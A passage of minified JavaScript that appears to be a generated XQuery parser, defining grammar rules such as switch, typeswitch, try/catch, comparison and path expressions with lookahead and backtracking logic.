240:Hl(240);break;default:Hl(130)}Il(21),fn();for(;;){if($l!=42)break;Hl(42),Il(21),fn()}Hl(228),Il(267),Xf()}function an(){ic.startNonterminal(\"QuantifiedVarDecl\",Vl),Pl(31),Il(246),jl(),Ti(),Il(114),$l==80&&(jl(),Cs()),Il(56),Pl(156),Il(267),jl(),Wf(),ic.endNonterminal(\"QuantifiedVarDecl\",Vl)}function fn(){Hl(31),Il(246),Ni(),Il(114),$l==80&&ks(),Il(56),Hl(156),Il(267),Xf()}function ln(){ic.startNonterminal(\"SwitchExpr\",Vl),Pl(248),Il(22),Pl(35),Il(267),jl(),G(),Pl(38);for(;;){Il(38),jl(),hn();if($l!=89)break}Pl(110),Il(73),Pl(224),Il(267),jl(),Wf(),ic.endNonterminal(\"SwitchExpr\",Vl)}function cn(){Hl(248),Il(22),Hl(35),Il(267),Y(),Hl(38);for(;;){Il(38),pn();if($l!=89)break}Hl(110),Il(73),Hl(224),Il(267),Xf()}function hn(){ic.startNonterminal(\"SwitchCaseClause\",Vl);for(;;){Pl(89),Il(267),jl(),dn();if($l!=89)break}Pl(224),Il(267),jl(),Wf(),ic.endNonterminal(\"SwitchCaseClause\",Vl)}function pn(){for(;;){Hl(89),Il(267),vn();if($l!=89)break}Hl(224),Il(267),Xf()}function dn(){ic.startNonterminal(\"SwitchCaseOperand\",Vl),Wf(),ic.endNonterminal(\"SwitchCaseOperand\",Vl)}function vn(){Xf()}function mn(){ic.startNonterminal(\"TypeswitchExpr\",Vl),Pl(259),Il(22),Pl(35),Il(267),jl(),G(),Pl(38);for(;;){Il(38),jl(),yn();if($l!=89)break}Pl(110),Il(99),$l==31&&(Pl(31),Il(246),jl(),Ti()),Il(73),Pl(224),Il(267),jl(),Wf(),ic.endNonterminal(\"TypeswitchExpr\",Vl)}function gn(){Hl(259),Il(22),Hl(35),Il(267),Y(),Hl(38);for(;;){Il(38),bn();if($l!=89)break}Hl(110),Il(99),$l==31&&(Hl(31),Il(246),Ni()),Il(73),Hl(224),Il(267),Xf()}function yn(){ic.startNonterminal(\"CaseClause\",Vl),Pl(89),Il(258),$l==31&&(Pl(31),Il(246),jl(),Ti(),Il(33),Pl(80)),Il(254),jl(),wn(),Pl(224),Il(267),jl(),Wf(),ic.endNonterminal(\"CaseClause\",Vl)}function bn(){Hl(89),Il(258),$l==31&&(Hl(31),Il(246),Ni(),Il(33),Hl(80)),Il(254),En(),Hl(224),Il(267),Xf()}function wn(){ic.startNonterminal(\"SequenceTypeUnion\",Vl),Ls();for(;;){Il(138);if($l!=284)break;Pl(284),Il(254),jl(),Ls()}ic.endNonterminal(\"SequenceTypeUnion\",Vl)}function En(){As();for(;;){Il(138);if($l!=284)break;Hl(284),Il(254),As()}}function Sn(){ic.startNonterminal(\"IfExpr\",Vl),Pl(154),Il(22),Pl(35),Il(267),jl(),G(),Pl(38),Il(80),Pl(250),Il(267),jl(),Wf(),Pl(123),Il(267),jl(),Wf(),ic.endNonterminal(\"IfExpr\",Vl)}function xn(){Hl(154),Il(22),Hl(35),Il(267),Y(),Hl(38),Il(80),Hl(250),Il(267),Xf(),Hl(123),Il(267),Xf()}function Tn(){ic.startNonterminal(\"TryCatchExpr\",Vl),Cn();for(;;){Il(39),jl(),On(),Il(208);if($l!=92)break}ic.endNonterminal(\"TryCatchExpr\",Vl)}function Nn(){kn();for(;;){Il(39),Mn(),Il(208);if($l!=92)break}}function Cn(){ic.startNonterminal(\"TryClause\",Vl),Pl(256),Il(90),Pl(281),Il(267),jl(),Ln(),Pl(287),ic.endNonterminal(\"TryClause\",Vl)}function kn(){Hl(256),Il(90),Hl(281),Il(267),An(),Hl(287)}function Ln(){ic.startNonterminal(\"TryTargetExpr\",Vl),G(),ic.endNonterminal(\"TryTargetExpr\",Vl)}function An(){Y()}function On(){ic.startNonterminal(\"CatchClause\",Vl),Pl(92),Il(249),jl(),_n(),Pl(281),Il(267),jl(),G(),Pl(287),ic.endNonterminal(\"CatchClause\",Vl)}function Mn(){Hl(92),Il(249),Dn(),Hl(281),Il(267),Y(),Hl(287)}function _n(){ic.startNonterminal(\"CatchErrorList\",Vl),Yr();for(;;){Il(140);if($l!=284)break;Pl(284),Il(249),jl(),Yr()}ic.endNonterminal(\"CatchErrorList\",Vl)}function Dn(){Zr();for(;;){Il(140);if($l!=284)break;Hl(284),Il(249),Zr()}}function Pn(){ic.startNonterminal(\"OrExpr\",Vl),Bn();for(;;){if($l!=204)break;Pl(204),Il(267),jl(),Bn()}ic.endNonterminal(\"OrExpr\",Vl)}function Hn(){jn();for(;;){if($l!=204)break;Hl(204),Il(267),jn()}}function Bn(){ic.startNonterminal(\"AndExpr\",Vl),Fn();for(;;){if($l!=76)break;Pl(76),Il(267),jl(),Fn()}ic.endNonterminal(\"AndExpr\",Vl)}function jn(){In();for(;;){if($l!=76)break;Hl(76),Il(267),In()}}function Fn(){ic.startNonterminal(\"NotExpr\",Vl),$l==196&&Pl(196),Il(266),jl(),qn(),ic.endNonterminal(\"NotExpr\",Vl)}function In(){$l==196&&Hl(196),Il(266),Rn()}function qn(){ic.startNonterminal(\"ComparisonExpr\",Vl),Un();if($l==27||$l==55||$l==58||$l==59||$l==61||$l==62||$l==63||$l==64||$l==129||$l==148||$l==152||$l==166||$l==175||$l==181||$l==189){switch($l){case 129:case 148:case 152:case 175:case 181:case 189:jl(),yr();break;case 58:case 64:case 166:jl(),wr();break;default:jl(),mr()}Il(266),jl(),Un()}ic.endNonterminal(\"ComparisonExpr\",Vl)}function Rn(){zn();if($l==27||$l==55||$l==58||$l==59||$l==61||$l==62||$l==63||$l==64||$l==129||$l==148||$l==152||$l==166||$l==175||$l==181||$l==189){switch($l){case 129:case 148:case 152:case 175:case 181:case 189:br();break;case 58:case 64:case 166:Er();break;default:gr()}Il(266),zn()}}function Un(){ic.startNonterminal(\"FTContainsExpr\",Vl),Wn(),$l==100&&(Pl(100),Il(79),Pl(249),Il(177),jl(),ou(),$l==277&&(jl(),Ta())),ic.endNonterminal(\"FTContainsExpr\",Vl)}function zn(){Xn(),$l==100&&(Hl(100),Il(79),Hl(249),Il(177),uu(),$l==277&&Na())}function Wn(){ic.startNonterminal(\"StringConcatExpr\",Vl),Vn();for(;;){if($l!=285)break;Pl(285),Il(266),jl(),Vn()}ic.endNonterminal(\"StringConcatExpr\",Vl)}function Xn(){$n();for(;;){if($l!=285)break;Hl(285),Il(266),$n()}}function Vn(){ic.startNonterminal(\"RangeExpr\",Vl),Jn(),$l==253&&(Pl(253),Il(266),jl(),Jn()),ic.endNonterminal(\"RangeExpr\",Vl)}function $n(){Kn(),$l==253&&(Hl(253),Il(266),Kn())}function Jn(){ic.startNonterminal(\"AdditiveExpr\",Vl),Qn();for(;;){if($l!=41&&$l!=43)break;switch($l){case 41:Pl(41);break;default:Pl(43)}Il(266),jl(),Qn()}ic.endNonterminal(\"AdditiveExpr\",Vl)}function Kn(){Gn();for(;;){if($l!=41&&$l!=43)break;switch($l){case 41:Hl(41);break;default:Hl(43)}Il(266),Gn()}}function Qn(){ic.startNonterminal(\"MultiplicativeExpr\",Vl),Yn();for(;;){if($l!=39&&$l!=119&&$l!=153&&$l!=183)break;switch($l){case 39:Pl(39);break;case 119:Pl(119);break;case 153:Pl(153);break;default:Pl(183)}Il(266),jl(),Yn()}ic.endNonterminal(\"MultiplicativeExpr\",Vl)}function Gn(){Zn();for(;;){if($l!=39&&$l!=119&&$l!=153&&$l!=183)break;switch($l){case 39:Hl(39);break;case 119:Hl(119);break;case 153:Hl(153);break;default:Hl(183)}Il(266),Zn()}}function Yn(){ic.startNonterminal(\"UnionExpr\",Vl),er();for(;;){if($l!=260&&$l!=284)break;switch($l){case 260:Pl(260);break;default:Pl(284)}Il(266),jl(),er()}ic.endNonterminal(\"UnionExpr\",Vl)}function Zn(){tr();for(;;){if($l!=260&&$l!=284)break;switch($l){case 260:Hl(260);break;default:Hl(284)}Il(266),tr()}}function er(){ic.startNonterminal(\"IntersectExceptExpr\",Vl),nr();for(;;){Il(222);if($l!=132&&$l!=164)break;switch($l){case 164:Pl(164);break;default:Pl(132)}Il(266),jl(),nr()}ic.endNonterminal(\"IntersectExceptExpr\",Vl)}function tr(){rr();for(;;){Il(222);if($l!=132&&$l!=164)break;switch($l){case 164:Hl(164);break;default:Hl(132)}Il(266),rr()}}function nr(){ic.startNonterminal(\"InstanceofExpr\",Vl),ir(),Il(223),$l==162&&(Pl(162),Il(67),Pl(200),Il(254),jl(),Ls()),ic.endNonterminal(\"InstanceofExpr\",Vl)}function rr(){sr(),Il(223),$l==162&&(Hl(162),Il(67),Hl(200),Il(254),As())}function ir(){ic.startNonterminal(\"TreatExpr\",Vl),or(),Il(224),$l==254&&(Pl(254),Il(33),Pl(80),Il(254),jl(),Ls()),ic.endNonterminal(\"TreatExpr\",Vl)}function sr(){ur(),Il(224),$l==254&&(Hl(254),Il(33),Hl(80),Il(254),As())}function or(){ic.startNonterminal(\"CastableExpr\",Vl),ar(),Il(225),$l==91&&(Pl(91),Il(33),Pl(80),Il(246),jl(),Ts()),ic.endNonterminal(\"CastableExpr\",Vl)}function ur(){fr(),Il(225),$l==91&&(Hl(91),Il(33),Hl(80),Il(246),Ns())}function ar(){ic.startNonterminal(\"CastExpr\",Vl),lr(),Il(227),$l==90&&(Pl(90),Il(33),Pl(80),Il(246),jl(),Ts()),ic.endNonterminal(\"CastExpr\",Vl)}function fr(){cr(),Il(227),$l==90&&(Hl(90),Il(33),Hl(80),Il(246),Ns())}function lr(){ic.startNonterminal(\"UnaryExpr\",Vl);for(;;){Il(266);if($l!=41&&$l!=43)break;switch($l){case 43:Pl(43);break;default:Pl(41)}}jl(),hr(),ic.endNonterminal(\"UnaryExpr\",Vl)}function cr(){for(;;){Il(266);if($l!=41&&$l!=43)break;switch($l){case 43:Hl(43);break;default:Hl(41)}}pr()}function hr(){ic.startNonterminal(\"ValueExpr\",Vl);switch($l){case 266:ql(188);break;default:Wl=$l}switch(Wl){case 89354:case 125706:case 132362:case 144138:Sr();break;case 36:Cr();break;default:dr()}ic.endNonterminal(\"ValueExpr\",Vl)}function pr(){switch($l){case 266:ql(188);break;default:Wl=$l}switch(Wl){case 89354:case 125706:case 132362:case 144138:xr();break;case 36:kr();break;default:vr()}}function dr(){ic.startNonterminal(\"SimpleMapExpr\",Vl),Or();for(;;){if($l!=26)break;Pl(26),Il(263),jl(),Or()}ic.endNonterminal(\"SimpleMapExpr\",Vl)}function vr(){Mr();for(;;){if($l!=26)break;Hl(26),Il(263),Mr()}}function mr(){ic.startNonterminal(\"GeneralComp\",Vl);switch($l){case 61:Pl(61);break;case 27:Pl(27);break;case 55:Pl(55);break;case 59:Pl(59);break;case 62:Pl(62);break;default:Pl(63)}ic.endNonterminal(\"GeneralComp\",Vl)}function gr(){switch($l){case 61:Hl(61);break;case 27:Hl(27);break;case 55:Hl(55);break;case 59:Hl(59);break;case 62:Hl(62);break;default:Hl(63)}}function yr(){ic.startNonterminal(\"ValueComp\",Vl);switch($l){case 129:Pl(129);break;case 189:Pl(189);break;case 181:Pl(181);break;case 175:Pl(175);break;case 152:Pl(152);break;default:Pl(148)}ic.endNonterminal(\"ValueComp\",Vl)}function br(){switch($l){case 129:Hl(129);break;case 189:Hl(189);break;case 181:Hl(181);break;case 175:Hl(175);break;case 152:Hl(152);break;default:Hl(148)}}function wr(){ic.startNonterminal(\"NodeComp\",Vl);switch($l){case 166:Pl(166);break;case 58:Pl(58);break;default:Pl(64)}ic.endNonterminal(\"NodeComp\",Vl)}function Er(){switch($l){case 166:Hl(166);break;case 58:Hl(58);break;default:Hl(64)}}function Sr(){ic.startNonterminal(\"ValidateExpr\",Vl),Pl(266),Il(175);if($l!=281)switch($l){case 258:Pl(258),Il(246),jl(),Ao();break;default:jl(),Tr()}Il(90),Pl(281),Il(267),jl(),G(),Pl(287),ic.endNonterminal(\"ValidateExpr\",Vl)}function xr(){Hl(266),Il(175);if($l!=281)switch($l){case 258:Hl(258),Il(246),Oo();break;default:Nr()}Il(90),Hl(281),Il(267),Y(),Hl(287)}function Tr(){ic.startNonterminal(\"ValidationMode\",Vl);switch($l){case 174:Pl(174);break;default:Pl(245)}ic.endNonterminal(\"ValidationMode\",Vl)}function Nr(){switch($l){case 174:Hl(174);break;default:Hl(245)}}function Cr(){ic.startNonterminal(\"ExtensionExpr\",Vl);for(;;){jl(),Lr(),Il(104);if($l!=36)break}Pl(281),Il(275),$l!=287&&(jl(),G()),Pl(287),ic.endNonterminal(\"ExtensionExpr\",Vl)}function kr(){for(;;){Ar(),Il(104);if($l!=36)break}Hl(281),Il(275),$l!=287&&Y(),Hl(287)}function Lr(){ic.startNonterminal(\"Pragma\",Vl),Pl(36),Rl(243),$l==21&&Pl(21),$a(),Rl(10),$l==21&&(Pl(21),Rl(0),Pl(1)),Rl(5),Pl(30),ic.endNonterminal(\"Pragma\",Vl)}function Ar(){Hl(36),Rl(243),$l==21&&Hl(21),Ja(),Rl(10),$l==21&&(Hl(21),Rl(0),Hl(1)),Rl(5),Hl(30)}function Or(){ic.startNonterminal(\"PathExpr\",Vl);switch($l){case 47:Pl(47),Il(289);switch($l){case 25:case 26:case 27:case 38:case 39:case 41:case 42:case 43:case 50:case 54:case 58:case 59:case 61:case 62:case 63:case 64:case 70:case 88:case 100:case 209:case 237:case 252:case 279:case 284:case 285:case 286:case 287:break;default:jl(),_r()}break;case 48:Pl(48),Il(260),jl(),_r();break;default:_r()}ic.endNonterminal(\"PathExpr\",Vl)}function Mr(){switch($l){case 47:Hl(47),Il(289);switch($l){case 25:case 26:case 27:case 38:case 39:case 41:case 42:case 43:case 50:case 54:case 58:case 59:case 61:case 62:case 63:case 64:case 70:case 88:case 100:case 209:case 237:case 252:case 279:case 284:case 285:case 286:case 287:break;default:Dr()}break;case 48:Hl(48),Il(260),Dr();break;default:Dr()}}function _r(){ic.startNonterminal(\"RelativePathExpr\",Vl),ei();for(;;){switch($l){case 26:ql(265);break;default:Wl=$l}if(Wl!=25&&Wl!=27&&Wl!=38&&Wl!=39&&Wl!=41&&Wl!=42&&Wl!=43&&Wl!=47&&Wl!=48&&Wl!=50&&Wl!=54&&Wl!=55&&Wl!=58&&Wl!=59&&Wl!=61&&Wl!=62&&Wl!=63&&Wl!=64&&Wl!=70&&Wl!=71&&Wl!=76&&Wl!=80&&Wl!=81&&Wl!=82&&Wl!=85&&Wl!=88&&Wl!=89&&Wl!=90&&Wl!=91&&Wl!=95&&Wl!=100&&Wl!=106&&Wl!=110&&Wl!=114&&Wl!=119&&Wl!=123&&Wl!=124&&Wl!=127&&Wl!=129&&Wl!=132&&Wl!=139&&Wl!=148&&Wl!=150&&Wl!=152&&Wl!=153&&Wl!=162&&Wl!=164&&Wl!=165&&Wl!=166&&Wl!=175&&Wl!=177&&Wl!=181&&Wl!=183&&Wl!=184&&Wl!=189&&Wl!=202&&Wl!=204&&Wl!=205&&Wl!=209&&Wl!=224&&Wl!=228&&Wl!=237&&Wl!=241&&Wl!=242&&Wl!=252&&Wl!=253&&Wl!=254&&Wl!=260&&Wl!=272&&Wl!=276&&Wl!=279&&Wl!=284&&Wl!=285&&Wl!=286&&Wl!=287&&Wl!=2586&&Wl!=23578&&Wl!=24090&&Wl!=24602&&Wl!=34330){Wl=uc(3,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{switch($l){case 47:Hl(47);break;case 48:Hl(48);break;default:Hl(26)}Il(264),Hr(),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(3,Vl,Wl)}}if(Wl!=-1&&Wl!=47&&Wl!=48&&Wl!=2586&&Wl!=23578&&Wl!=34330)break;switch($l){case 47:Pl(47);break;case 48:Pl(48);break;default:Pl(26)}Il(264),jl(),Pr()}ic.endNonterminal(\"RelativePathExpr\",Vl)}function Dr(){ti();for(;;){switch($l){case 26:ql(265);break;default:Wl=$l}if(Wl!=25&&Wl!=27&&Wl!=38&&Wl!=39&&Wl!=41&&Wl!=42&&Wl!=43&&Wl!=47&&Wl!=48&&Wl!=50&&Wl!=54&&Wl!=55&&Wl!=58&&Wl!=59&&Wl!=61&&Wl!=62&&Wl!=63&&Wl!=64&&Wl!=70&&Wl!=71&&Wl!=76&&Wl!=80&&Wl!=81&&Wl!=82&&Wl!=85&&Wl!=88&&Wl!=89&&Wl!=90&&Wl!=91&&Wl!=95&&Wl!=100&&Wl!=106&&Wl!=110&&Wl!=114&&Wl!=119&&Wl!=123&&Wl!=124&&Wl!=127&&Wl!=129&&Wl!=132&&Wl!=139&&Wl!=148&&Wl!=150&&Wl!=152&&Wl!=153&&Wl!=162&&Wl!=164&&Wl!=165&&Wl!=166&&Wl!=175&&Wl!=177&&Wl!=181&&Wl!=183&&Wl!=184&&Wl!=189&&Wl!=202&&Wl!=204&&Wl!=205&&Wl!=209&&Wl!=224&&Wl!=228&&Wl!=237&&Wl!=241&&Wl!=242&&Wl!=252&&Wl!=253&&Wl!=254&&Wl!=260&&Wl!=272&&Wl!=276&&Wl!=279&&Wl!=284&&Wl!=285&&Wl!=286&&Wl!=287&&Wl!=2586&&Wl!=23578&&Wl!=24090&&Wl!=24602&&Wl!=34330){Wl=uc(3,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{switch($l){case 47:Hl(47);break;case 48:Hl(48);break;default:Hl(26)}Il(264),Hr(),oc(3,t,-1);continue}catch(a){Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(3,t,-2);break}}}if(Wl!=-1&&Wl!=47&&Wl!=48&&Wl!=2586&&Wl!=23578&&Wl!=34330)break;switch($l){case 47:Hl(47);break;case 48:Hl(48);break;default:Hl(26)}Il(264),Hr()}}function Pr(){ic.startNonterminal(\"StepExpr\",Vl);switch($l){case 83:ql(288);break;case 122:ql(287);break;case 187:case 220:ql(285);break;case 135:case 197:case 255:ql(237);break;case 97:case 120:case 206:case 249:case 262:ql(239);break;case 79:case 125:case 154:case 167:case 169:case 247:case 248:case 259:ql(230);break;case 74:case 75:case 94:case 112:case 113:case 137:case 138:case 210:case 216:case 217:case 234:ql(238);break;case 6:case 71:case 73:case 76:case 78:case 80:case 81:case 82:case 84:case 85:case 86:case 87:case 89:case 90:case 91:case 92:case 95:case 98:case 99:case 102:case 103:case 104:case 105:case 106:case 107:case 109:case 110:case 111:case 114:case 119:case 121:case 123:case 124:case 126:case 127:case 129:case 130:case 132:case 133:case 134:case 136:case 139:case 142:case 143:case 147:case 148:case 150:case 152:case 153:case 155:case 156:case 157:case 161:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 177:case 179:case 181:case 183:case 184:case 185:case 188:case 189:case 194:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 222:case 223:case 224:case 225:case 226:case 228:case 229:case 230:case 231:case 232:case 233:case 239:case 240:case 241:case 242:case 245:case 253:case 254:case 256:case 257:case 258:case 260:case 263:case 266:case 267:case 268:case 269:case 272:case 273:case 276:ql(234);break;default:Wl=$l}if(Wl==12935||Wl==12997||Wl==13055||Wl==13447||Wl==13509||Wl==13567||Wl==13959||Wl==14021||Wl==14079||Wl==19591||Wl==19653||Wl==19711||Wl==20103||Wl==20165||Wl==20223||Wl==21127||Wl==21189||Wl==21247||Wl==21639||Wl==21701||Wl==21759||Wl==22151||Wl==22213||Wl==22271||Wl==24199||Wl==24261||Wl==24319||Wl==24711||Wl==24773||Wl==24831||Wl==25735||Wl==25797||Wl==25855||Wl==27783||Wl==27845||Wl==27903||Wl==28295||Wl==28357||Wl==28415||Wl==29831||Wl==29893||Wl==29951||Wl==30343||Wl==30405||Wl==30463||Wl==31367||Wl==31429||Wl==31487||Wl==31879||Wl==31941||Wl==31999||Wl==32391||Wl==32453||Wl==32511||Wl==32903||Wl==32965||Wl==33023||Wl==35463||Wl==35525||Wl==35583||Wl==35975||Wl==36037||Wl==36095||Wl==36435||Wl==36474||Wl==36487||Wl==36539||Wl==36549||Wl==36572||Wl==36607||Wl==38995||Wl==39034||Wl==39047||Wl==39099||Wl==39109||Wl==39132||Wl==39167||Wl==41043||Wl==41082||Wl==41095||Wl==41147||Wl==41157||Wl==41180||Wl==41215||Wl==41555||Wl==41594||Wl==41607||Wl==41659||Wl==41669||Wl==41692||Wl==41727||Wl==42067||Wl==42106||Wl==42119||Wl==42171||Wl==42181||Wl==42204||Wl==42239||Wl==43603||Wl==43642||Wl==43655||Wl==43707||Wl==43717||Wl==43740||Wl==43775||Wl==45191||Wl==45253||Wl==45311||Wl==45651||Wl==45690||Wl==45703||Wl==45755||Wl==45765||Wl==45788||Wl==45823||Wl==46163||Wl==46202||Wl==46215||Wl==46267||Wl==46277||Wl==46300||Wl==46335||Wl==46675||Wl==46714||Wl==46727||Wl==46779||Wl==46789||Wl==46812||Wl==46847||Wl==48723||Wl==48762||Wl==48775||Wl==48827||Wl==48837||Wl==48860||Wl==48895||Wl==51335||Wl==51397||Wl==51455||Wl==54355||Wl==54394||Wl==54407||Wl==54459||Wl==54469||Wl==54492||Wl==54527||Wl==56403||Wl==56442||Wl==56455||Wl==56507||Wl==56517||Wl==56540||Wl==56575||Wl==58451||Wl==58490||Wl==58503||Wl==58555||Wl==58565||Wl==58588||Wl==58623||Wl==61011||Wl==61050||Wl==61063||Wl==61115||Wl==61125||Wl==61148||Wl==61183||Wl==63059||Wl==63098||Wl==63111||Wl==63163||Wl==63173||Wl==63196||Wl==63231||Wl==63571||Wl==63610||Wl==63623||Wl==63675||Wl==63685||Wl==63708||Wl==63743||Wl==65107||Wl==65146||Wl==65159||Wl==65211||Wl==65221||Wl==65244||Wl==65279||Wl==66131||Wl==66170||Wl==66183||Wl==66235||Wl==66245||Wl==66268||Wl==66303||Wl==67667||Wl==67706||Wl==67719||Wl==67771||Wl==67781||Wl==67804||Wl==67839||Wl==71251||Wl==71290||Wl==71303||Wl==71355||Wl==71365||Wl==71388||Wl==71423||Wl==75859||Wl==75898||Wl==75911||Wl==75963||Wl==75973||Wl==75996||Wl==76031||Wl==76883||Wl==76922||Wl==76935||Wl==76987||Wl==76997||Wl==77020||Wl==77055||Wl==77907||Wl==77946||Wl==77959||Wl==78011||Wl==78021||Wl==78044||Wl==78079||Wl==78419||Wl==78458||Wl==78471||Wl==78523||Wl==78533||Wl==78556||Wl==78591||Wl==83027||Wl==83066||Wl==83079||Wl==83131||Wl==83141||Wl==83164||Wl==83199||Wl==84051||Wl==84090||Wl==84103||Wl==84155||Wl==84165||Wl==84188||Wl==84223||Wl==84563||Wl==84602||Wl==84615||Wl==84667||Wl==84677||Wl==84700||Wl==84735||Wl==85075||Wl==85114||Wl==85127||Wl==85179||Wl==85189||Wl==85212||Wl==85247||Wl==89683||Wl==89722||Wl==89735||Wl==89787||Wl==89797||Wl==89820||Wl==89855||Wl==90707||Wl==90746||Wl==90759||Wl==90811||Wl==90821||Wl==90844||Wl==90879||Wl==92755||Wl==92794||Wl==92807||Wl==92859||Wl==92869||Wl==92892||Wl==92927||Wl==93779||Wl==93818||Wl==93831||Wl==93883||Wl==93893||Wl==93916||Wl==93951||Wl==94291||Wl==94330||Wl==94343||Wl==94395||Wl==94405||Wl==94428||Wl==94463||Wl==96851||Wl==96890||Wl==96903||Wl==96955||Wl==96965||Wl==96988||Wl==97023||Wl==103507||Wl==103546||Wl==103559||Wl==103611||Wl==103621||Wl==103644||Wl==103679||Wl==104531||Wl==104570||Wl==104583||Wl==104635||Wl==104645||Wl==104668||Wl==104703||Wl==105043||Wl==105082||Wl==105095||Wl==105147||Wl==105157||Wl==105180||Wl==105215||Wl==107143||Wl==107205||Wl==107263||Wl==114771||Wl==114810||Wl==114823||Wl==114875||Wl==114885||Wl==114908||Wl==114943||Wl==116819||Wl==116858||Wl==116871||Wl==116923||Wl==116933||Wl==116956||Wl==116991||Wl==121479||Wl==121541||Wl==121599||Wl==123475||Wl==123514||Wl==123527||Wl==123579||Wl==123589||Wl==123612||Wl==123647||Wl==123987||Wl==124026||Wl==124039||Wl==124091||Wl==124101||Wl==124124||Wl==124159||Wl==129159||Wl==129221||Wl==129279||Wl==129619||Wl==129658||Wl==129671||Wl==129723||Wl==129733||Wl==129756||Wl==129791||Wl==130131||Wl==130170||Wl==130183||Wl==130235||Wl==130245||Wl==130268||Wl==130303||Wl==133203||Wl==133242||Wl==133255||Wl==133307||Wl==133317||Wl==133340||Wl==133375||Wl==139347||Wl==139386||Wl==139399||Wl==139451||Wl==139461||Wl==139484||Wl==139519||Wl==141395||Wl==141434||Wl==141447||Wl==141499||Wl==141509||Wl==141532||Wl==141567||Wl==142983||Wl==143045||Wl==143103||Wl==145543||Wl==145605||Wl==145663||Wl==146055||Wl==146117||Wl==146175||Wl==146567||Wl==146629||Wl==146687||Wl==147079||Wl==147141||Wl==147199){Wl=uc(4,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{ti(),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(4,Vl,Wl)}}switch(Wl){case-1:case 8:case 9:case 10:case 11:case 31:case 32:case 33:case 35:case 55:case 56:case 60:case 69:case 281:case 283:case 3155:case 3194:case 9915:case 9948:case 14854:case 14919:case 14921:case 14922:case 14923:case 14924:case 14926:case 14927:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14935:case 14937:case 14938:case 14939:case 14940:case 14942:case 14943:case 14945:case 14946:case 14947:case 14950:case 14951:case 14952:case 14953:case 14954:case 14955:case 14957:case 14958:case 14959:case 14960:case 14961:case 14962:case 14967:case 14968:case 14969:case 14970:case 14971:case 14972:case 14973:case 14974:case 14975:case 14977:case 14978:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14986:case 14987:case 14990:case 14991:case 14995:case 14996:case 14998:case 15e3:case 15001:case 15002:case 15003:case 15004:case 15005:case 15009:case 15010:case 15011:case 15012:case 15013:case 15014:case 15015:case 15016:case 15017:case 15018:case 15021:case 15022:case 15023:case 15025:case 15027:case 15029:case 15031:case 15032:case 15033:case 15035:case 15036:case 15037:case 15042:case 15043:case 15045:case 15046:case 15050:case 15051:case 15052:case 15053:case 15054:case 15055:case 15058:case 15064:case 15065:case 15068:case 15070:case 15071:case 15072:case 15073:case 15074:case 15076:case 15077:case 15078:case 15079:case 15080:case 15081:case 15082:case 15087:case 15088:case 15089:case 15090:case 15093:case 15095:case 15096:case 15097:case 15101:case 15102:case 15103:case 15104:case 15105:case 15106:case 15107:case 15108:case 15110:case 15111:case 15114:case 15115:case 15116:case 15117:case 15120:case 15121:case 15124:case 17926:case 17991:case 17993:case 17994:case 17995:case 17996:case 17998:case 18e3:case 18001:case 18002:case 18004:case 18005:case 18006:case 18007:case 18009:case 18010:case 18011:case 18012:case 18014:case 18015:case 18018:case 18019:case 18022:case 18023:case 18024:case 18025:case 18026:case 18027:case 18029:case 18030:case 18031:case 18032:case 18033:case 18034:case 18039:case 18040:case 18043:case 18044:case 18046:case 18047:case 18049:case 18050:case 18052:case 18053:case 18054:case 18055:case 18056:case 18057:case 18058:case 18059:case 18062:case 18063:case 18067:case 18068:case 18070:case 18072:case 18073:case 18075:case 18076:case 18077:case 18081:case 18082:case 18083:case 18084:case 18085:case 18086:case 18088:case 18090:case 18093:case 18094:case 18095:case 18097:case 18099:case 18101:case 18103:case 18104:case 18105:case 18107:case 18109:case 18115:case 18117:case 18118:case 18122:case 18123:case 18124:case 18125:case 18126:case 18127:case 18130:case 18136:case 18137:case 18142:case 18143:case 18144:case 18145:case 18146:case 18148:case 18149:case 18152:case 18153:case 18154:case 18159:case 18160:case 18161:case 18162:case 18165:case 18173:case 18174:case 18175:case 18176:case 18177:case 18178:case 18180:case 18182:case 18183:case 18186:case 18187:case 18188:case 18189:case 18192:case 18193:case 18196:case 23175:case 23237:case 23295:case 37459:case 37498:case 37563:case 37596:case 37971:case 38010:case 38075:case 38108:case 38483:case 38522:case 38587:case 38620:case 40019:case 40058:case 40123:case 40156:case 40531:case 40570:case 42579:case 42618:case 42683:case 42716:case 43091:case 43130:case 43195:case 43228:case 44115:case 44154:case 44219:case 44252:case 44627:case 44666:case 44731:case 44764:case 47187:case 47226:case 47291:case 47324:case 48211:case 48250:case 48315:case 48348:case 49747:case 49786:case 49851:case 49884:case 50259:case 50298:case 50363:case 50396:case 50771:case 50810:case 50875:case 50908:case 52307:case 52346:case 52411:case 52444:case 52819:case 52858:case 52923:case 52956:case 53331:case 53370:case 53435:case 53468:case 53843:case 53882:case 53947:case 53980:case 54867:case 54906:case 54971:case 55004:case 55891:case 55930:case 55995:case 56028:case 56915:case 56954:case 57019:case 57052:case 57427:case 57466:case 57531:case 57564:case 57939:case 57978:case 58043:case 58076:case 61523:case 61562:case 61627:case 61660:case 62035:case 62074:case 62139:case 62172:case 62547:case 62586:case 62651:case 62684:case 64083:case 64122:case 64187:case 64220:case 64595:case 64634:case 64699:case 64732:case 66643:case 66682:case 66747:case 66780:case 68179:case 68218:case 68283:case 68316:case 68691:case 68730:case 68795:case 68828:case 69203:case 69242:case 69307:case 69340:case 69715:case 69754:case 69819:case 69852:case 70227:case 70266:case 70331:case 70364:case 70739:case 70778:case 70843:case 70876:case 72787:case 72826:case 72891:case 72924:case 73299:case 73338:case 73403:case 73436:case 75347:case 75386:case 75451:case 75484:case 